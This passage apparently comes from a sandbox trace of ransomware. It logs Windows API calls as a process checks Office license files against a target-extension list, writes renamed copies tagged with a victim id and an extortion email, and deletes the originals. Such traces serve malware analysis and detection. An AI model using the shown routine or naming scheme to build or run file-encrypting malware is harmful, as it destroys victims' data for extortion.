(lpString=".rar") returned 4 [0198.770] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0198.770] lstrlenW (lpString=".bz2") returned 4 [0198.770] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0198.770] lstrlenW (lpString=".7z") returned 3 [0198.770] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0198.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87 [0198.770] lstrlenW (lpString=".dbf") returned 4 [0198.770] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0198.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87 [0198.770] lstrlenW (lpString=".1cd") returned 4 [0198.770] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0198.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87 [0198.770] lstrlenW (lpString=".jpg") returned 4 [0198.770] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0198.772] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0198.773] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0198.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0198.775] GetLastError () returned 0x0 [0198.775] ReadFile (in: hFile=0x550, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x2baf, lpOverlapped=0x0) returned 1 [0198.778] WriteFile (in: hFile=0x510, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0198.780] ReadFile (in: hFile=0x550, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0198.780] WriteFile (in: hFile=0x510, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x116, lpOverlapped=0x0) returned 1 [0198.780] SetEndOfFile (hFile=0x510) returned 1 [0198.780] CloseHandle (hObject=0x510) returned 1 [0198.780] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0198.780] SetEndOfFile (hFile=0x550) returned 1 [0198.785] CloseHandle (hObject=0x550) returned 1 [0198.785] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0198.785] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-pl.xrm-ms")) returned 1 [0198.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83 [0198.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83 [0198.787] lstrlenW (lpString=".doc") returned 4 [0198.787] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0198.787] lstrlenW (lpString=".docx") returned 5 [0198.787] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0198.787] lstrlenW (lpString=".pdf") returned 4 [0198.787] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0198.787] lstrlenW (lpString=".xls") returned 4 [0198.787] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0199.002] lstrlenW (lpString=".xlsx") returned 5 [0199.002] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0199.002] lstrlenW (lpString=".ppt") returned 4 [0199.002] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0199.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83 [0199.002] lstrlenW (lpString=".zip") returned 4 [0199.002] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0199.002] lstrlenW (lpString=".rar") returned 4 [0199.002] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0199.002] lstrlenW (lpString=".bz2") returned 4 [0199.002] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0199.002] lstrlenW (lpString=".7z") returned 3 [0199.002] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0199.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83 [0199.002] lstrlenW (lpString=".dbf") returned 4 [0199.003] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0199.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83 [0199.003] lstrlenW (lpString=".1cd") returned 4 [0199.003] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0199.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83 [0199.003] lstrlenW (lpString=".jpg") returned 4 [0199.003] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0199.007] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0199.007] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0199.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0199.092] GetLastError () returned 0x0 [0199.092] ReadFile (in: hFile=0x520, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x2baf, lpOverlapped=0x0) returned 1 [0199.095] WriteFile (in: hFile=0x534, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0199.096] ReadFile (in: hFile=0x520, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0199.096] WriteFile (in: hFile=0x534, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x116, lpOverlapped=0x0) returned 1 [0199.097] SetEndOfFile (hFile=0x534) returned 1 [0199.097] CloseHandle (hObject=0x534) returned 1 [0199.097] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0199.097] SetEndOfFile (hFile=0x520) returned 1 [0199.395] CloseHandle (hObject=0x520) returned 1 [0199.395] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0199.396] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-pl.xrm-ms")) returned 1 [0199.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83 [0199.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83 [0199.398] lstrlenW (lpString=".doc") returned 4 [0199.398] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0199.398] lstrlenW (lpString=".docx") returned 5 [0199.398] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0199.398] lstrlenW (lpString=".pdf") returned 4 [0199.398] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0199.398] lstrlenW (lpString=".xls") returned 4 [0199.398] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0199.398] lstrlenW (lpString=".xlsx") returned 5 [0199.398] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0199.398] lstrlenW (lpString=".ppt") returned 4 [0199.398] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0199.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83 [0199.399] lstrlenW (lpString=".zip") returned 4 [0199.399] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0199.399] lstrlenW (lpString=".rar") returned 4 [0199.399] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0199.399] lstrlenW (lpString=".bz2") returned 4 [0199.399] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0199.399] lstrlenW (lpString=".7z") returned 3 [0199.399] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0199.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83 [0199.399] lstrlenW (lpString=".dbf") returned 4 [0199.399] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0199.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83 [0199.399] lstrlenW (lpString=".1cd") returned 4 [0199.399] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0199.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83 [0199.399] lstrlenW (lpString=".jpg") returned 4 [0199.399] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0199.401] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0199.401] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0199.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0199.402] GetLastError () returned 0x0 [0199.402] ReadFile (in: hFile=0x550, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x5a5f, lpOverlapped=0x0) returned 1 [0199.405] WriteFile (in: hFile=0x520, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x5a60, lpOverlapped=0x0) returned 1 [0199.406] ReadFile (in: hFile=0x550, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0199.406] WriteFile (in: hFile=0x520, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x118, lpOverlapped=0x0) returned 1 [0199.406] SetEndOfFile (hFile=0x520) returned 1 [0199.407] CloseHandle (hObject=0x520) returned 1 [0199.407] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0199.407] SetEndOfFile (hFile=0x550) returned 1 [0199.411] CloseHandle (hObject=0x550) returned 1 [0199.411] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0199.411] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ppd.xrm-ms")) returned 1 [0199.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84 [0199.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84 [0199.413] lstrlenW (lpString=".doc") returned 4 [0199.413] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0199.413] lstrlenW (lpString=".docx") returned 5 [0199.413] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0199.413] lstrlenW (lpString=".pdf") returned 4 [0199.413] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0199.413] lstrlenW (lpString=".xls") returned 4 [0199.413] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0199.413] lstrlenW (lpString=".xlsx") returned 5 [0199.413] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0199.413] lstrlenW (lpString=".ppt") returned 4 [0199.413] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0199.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84 [0199.413] lstrlenW (lpString=".zip") returned 4 [0199.413] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0199.413] lstrlenW (lpString=".rar") returned 4 [0199.413] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0199.413] lstrlenW (lpString=".bz2") returned 4 [0199.413] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0199.413] lstrlenW (lpString=".7z") returned 3 [0199.413] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0199.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84 [0199.413] lstrlenW (lpString=".dbf") returned 4 [0199.413] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0199.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84 [0199.414] lstrlenW (lpString=".1cd") returned 4 [0199.414] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0199.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84 [0199.414] lstrlenW (lpString=".jpg") returned 4 [0199.414] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0199.415] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0199.415] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0199.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0199.416] GetLastError () returned 0x0 [0199.416] ReadFile (in: hFile=0x550, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x2d73, lpOverlapped=0x0) returned 1 [0199.418] WriteFile (in: hFile=0x520, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x2d80, lpOverlapped=0x0) returned 1 [0199.419] ReadFile (in: hFile=0x550, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0199.419] WriteFile (in: hFile=0x520, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x11e, lpOverlapped=0x0) returned 1 [0199.419] SetEndOfFile (hFile=0x520) returned 1 [0199.420] CloseHandle (hObject=0x520) returned 1 [0199.420] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0199.420] SetEndOfFile (hFile=0x550) returned 1 [0199.423] CloseHandle (hObject=0x550) returned 1 [0199.423] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0199.424] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ul-oob.xrm-ms")) returned 1 [0199.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87 [0199.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87 [0199.425] lstrlenW (lpString=".doc") returned 4 [0199.425] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0199.425] lstrlenW (lpString=".docx") returned 5 [0199.425] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0199.425] lstrlenW (lpString=".pdf") returned 4 [0199.425] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0199.425] lstrlenW (lpString=".xls") returned 4 [0199.425] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0199.425] lstrlenW (lpString=".xlsx") returned 5 [0199.425] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0199.425] lstrlenW (lpString=".ppt") returned 4 [0199.425] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0199.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87 [0199.425] lstrlenW (lpString=".zip") returned 4 [0199.425] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0199.425] lstrlenW (lpString=".rar") returned 4 [0199.425] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0199.425] lstrlenW (lpString=".bz2") returned 4 [0199.425] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0199.426] lstrlenW (lpString=".7z") returned 3 [0199.426] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0199.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87 [0199.426] lstrlenW (lpString=".dbf") returned 4 [0199.426] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0199.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87 [0199.426] lstrlenW (lpString=".1cd") returned 4 [0199.426] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0199.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87 [0199.426] lstrlenW (lpString=".jpg") returned 4 [0199.426] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0199.427] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0199.427] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0199.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0199.429] GetLastError () returned 0x0 [0199.429] ReadFile (in: hFile=0x550, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x2baf, lpOverlapped=0x0) returned 1 [0199.765] WriteFile (in: hFile=0x520, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0199.767] ReadFile (in: hFile=0x550, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0199.767] WriteFile (in: hFile=0x520, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x116, lpOverlapped=0x0) returned 1 [0199.767] SetEndOfFile (hFile=0x520) returned 1 [0199.767] CloseHandle (hObject=0x520) returned 1 [0199.767] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0199.767] SetEndOfFile (hFile=0x550) returned 1 [0199.770] CloseHandle (hObject=0x550) returned 1 [0199.771] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0199.870] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-pl.xrm-ms")) returned 1 [0200.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83 [0200.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83 [0200.266] lstrlenW (lpString=".doc") returned 4 [0200.266] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0200.266] lstrlenW (lpString=".docx") returned 5 [0200.266] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0200.266] lstrlenW (lpString=".pdf") returned 4 [0200.266] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0200.266] lstrlenW (lpString=".xls") returned 4 [0200.266] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0200.266] lstrlenW (lpString=".xlsx") returned 5 [0200.266] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0200.266] lstrlenW (lpString=".ppt") returned 4 [0200.266] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0200.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83 [0200.267] lstrlenW (lpString=".zip") returned 4 [0200.267] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0200.267] lstrlenW (lpString=".rar") returned 4 [0200.267] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0200.267] lstrlenW (lpString=".bz2") returned 4 [0200.267] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0200.267] lstrlenW (lpString=".7z") returned 3 [0200.267] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0200.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83 [0200.267] lstrlenW (lpString=".dbf") returned 4 [0200.267] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0200.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83 [0200.267] lstrlenW (lpString=".1cd") returned 4 [0200.267] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0200.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83 [0200.267] lstrlenW (lpString=".jpg") returned 4 [0200.267] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.349] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0204.349] SetFilePointerEx (in: 